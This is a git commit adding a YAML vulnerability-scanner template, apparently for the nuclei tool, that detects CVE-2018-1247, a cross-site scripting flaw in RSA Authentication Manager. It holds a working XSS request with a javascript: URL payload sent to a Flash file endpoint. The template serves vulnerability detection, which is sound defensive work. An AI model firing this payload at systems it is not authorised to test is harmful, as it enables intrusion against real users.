Create RSA Authentication Manager XSS.yaml

2020-04-08 16:58:58 +05:30 · 2020-04-08 16:58:58 +05:30 · f8b1bb4db8
parent 7965a3c544
commit f8b1bb4db8
1 changed files with 15 additions and 0 deletions
--- a/XSS.yaml
+++ b/XSS.yaml
@ -0,0 +1,15 @@
+id: CVE-2018-1247
+
+info:
+  name: RSA Authentication Manager XSS
+  author: madrobot
+  severity: medium 
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
+    matchers:
+      - type: status
+        status:
+            - 200